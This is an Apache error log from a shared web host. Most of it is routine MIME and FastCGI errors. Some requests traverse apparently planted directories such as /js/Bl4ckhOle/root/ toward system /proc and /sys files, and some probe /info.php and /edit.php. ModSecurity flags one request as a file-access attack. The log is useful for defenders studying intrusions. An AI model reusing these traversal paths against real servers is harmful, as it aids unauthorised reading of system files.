[Fri Jul 17 09:19:25.632821 2026] [proxy_fcgi:error] [pid 2036488:tid 2036488] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:25.635312 2026] [core:error] [pid 2019501:tid 2019501] (1)Operation not permitted: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/net/protocols
[Fri Jul 17 09:19:25.704855 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:25.810634 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:25.811153 2026] [security2:error] [pid 2029866:tid 2029866] [client 20.195.181.252:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/info.php"] [unique_id "almmRV1_86A5R6msWNfY4QAAABI"]
[Fri Jul 17 09:19:25.811187 2026] [security2:error] [pid 2029866:tid 2029866] [client 20.195.181.252:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/info.php"] [unique_id "almmRV1_86A5R6msWNfY4QAAABI"]
[Fri Jul 17 09:19:25.979139 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.108265 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:58604] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:26.111212 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.317516 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.364987 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.422891 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.544116 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:26.631757 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635369 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635492 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635559 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635629 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635677 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635724 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635770 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635816 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635855 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635905 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635950 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.635994 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636044 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636114 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636160 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636205 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636250 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636293 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636335 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636373 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636416 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636461 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636505 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636543 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636619 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636666 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636709 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636746 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636789 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636832 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636876 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636922 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.636966 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637012 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637074 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637133 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637179 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637233 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637278 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637321 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637364 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637401 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637443 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637486 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637537 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637609 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637653 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637696 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637733 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637775 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637818 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637863 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637906 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637945 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.637988 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.708914 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.783084 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:26.920491 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:58662] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:26.922389 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:27.055802 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:27.155078 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:27.255825 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:27.415182 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:27.458345 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:27.540987 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:27.847051 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:27.964960 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:28.009561 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:28.096641 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:28.196813 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:28.291911 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:28.366767 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:28.388125 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:28.469166 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:28.552985 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:28.608755 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:28.787877 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:29.024395 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:29.189353 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:29.200198 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:29.352231 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:29.390869 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:29.398207 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:29.514515 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:29.527292 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:29.584953 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:29.688089 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:29.717384 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 57.141.18.23:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory87/node0/memory21/node0/memory20/node0/cpu0/crash_notes_size
[Fri Jul 17 09:19:30.105668 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:30.110967 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:30.185406 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:30.247274 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/libxslt-devel/help.html"] [unique_id "almmSujME1mgqYZ5O94qVgAAAAE"]
[Fri Jul 17 09:19:30.247315 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/libxslt-devel/help.html"] [unique_id "almmSujME1mgqYZ5O94qVgAAAAE"]
[Fri Jul 17 09:19:30.273759 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:30.327378 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:30.350648 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:30.496671 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:30.579885 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:30.663841 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:30.848935 2026] [proxy_fcgi:error] [pid 2013797:tid 2013797] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:30.978777 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:31.114757 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:31.287938 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:31.418919 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:31.419022 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:31.431900 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:31.538458 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:31.698470 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:31.787902 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:31.863753 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:31.982551 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:32.034052 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.171454 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.294957 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.295091 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.337849 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.418353 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:58670] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:32.442874 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.542760 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.543710 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:32.649811 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.655753 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.719857 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:32.820142 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.907399 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:32.951279 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.052516 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.076240 2026] [proxy_fcgi:error] [pid 2039911:tid 2039911] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:33.154221 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.240831 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:33.255464 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.352689 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.367114 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.561806 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.663235 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.750442 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.857562 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.994781 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:33.996296 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:34.000671 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:34.087382 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:34.215161 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:34.558502 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:34.559124 2026] [security2:error] [pid 1993619:tid 1993619] [client 20.195.181.252:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/edit.php"] [unique_id "almmTo1dLClkUfK_dfHpAwAAAAI"]
[Fri Jul 17 09:19:34.559156 2026] [security2:error] [pid 1993619:tid 1993619] [client 20.195.181.252:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/edit.php"] [unique_id "almmTo1dLClkUfK_dfHpAwAAAAI"]
[Fri Jul 17 09:19:34.632697 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:58894] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:34.780488 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:58918] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:35.107477 2026] [proxy_fcgi:error] [pid 2036488:tid 2036488] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:35.636459 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:36.441942 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:36.612540 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:36.994970 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:37.165249 2026] [proxy_fcgi:error] [pid 2018757:tid 2018757] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:37.327391 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:38.283292 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:01/physical_node/remove
[Fri Jul 17 09:19:38.440979 2026] [proxy_fcgi:error] [pid 2018741:tid 2018741] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:38.619474 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:38.631102 2026] [proxy_fcgi:error] [pid 1993619:tid 1993619] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:38.640557 2026] [security2:error] [pid 2032156:tid 2032156] [client 185.191.171.6:0] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /epid/epidomology20221110/node_modules/@babel/helpers/scripts/package.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ksoft.web.lk"] [uri "/epid/Epidomology20221110/node_modules/@babel/helpers/scripts/package.json"] [unique_id "almmUq14q1EBnanVMYGoOgAAAAk"]
[Fri Jul 17 09:19:38.640947 2026] [security2:error] [pid 2032156:tid 2032156] [client 185.191.171.6:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/epid/Epidomology20221110/node_modules/@babel/helpers/scripts/package.json"] [unique_id "almmUq14q1EBnanVMYGoOgAAAAk"]
[Fri Jul 17 09:19:38.662275 2026] [security2:error] [pid 2032156:tid 2032156] [client 185.191.171.6:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/epid/Epidomology20221110/node_modules/@babel/helpers/scripts/package.json"] [unique_id "almmUq14q1EBnanVMYGoOgAAAAk"]
[Fri Jul 17 09:19:38.732777 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 57.141.18.72:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory71/subsystem/devices/memory22/subsystem/devices/memory97/node0/memory77/subsystem/drivers_probe
[Fri Jul 17 09:19:38.836168 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/vesa-framebuffer/bind
[Fri Jul 17 09:19:38.851675 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:38.887723 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:38.896859 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:38.980679 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:39.202078 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:39.290864 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:59286] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:19:39.644114 2026] [proxy_fcgi:error] [pid 2019501:tid 2019501] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:39.713235 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:19:39.897325 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:19:39.983150 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/subsystem/drivers/ac/unbind
[Fri Jul 17 09:19:40.129809 2026] [proxy_fcgi:error] [pid 2013829:tid 2013829] [client 20.195.181.252:0] AH01071: Got error 'Primary script unknown'
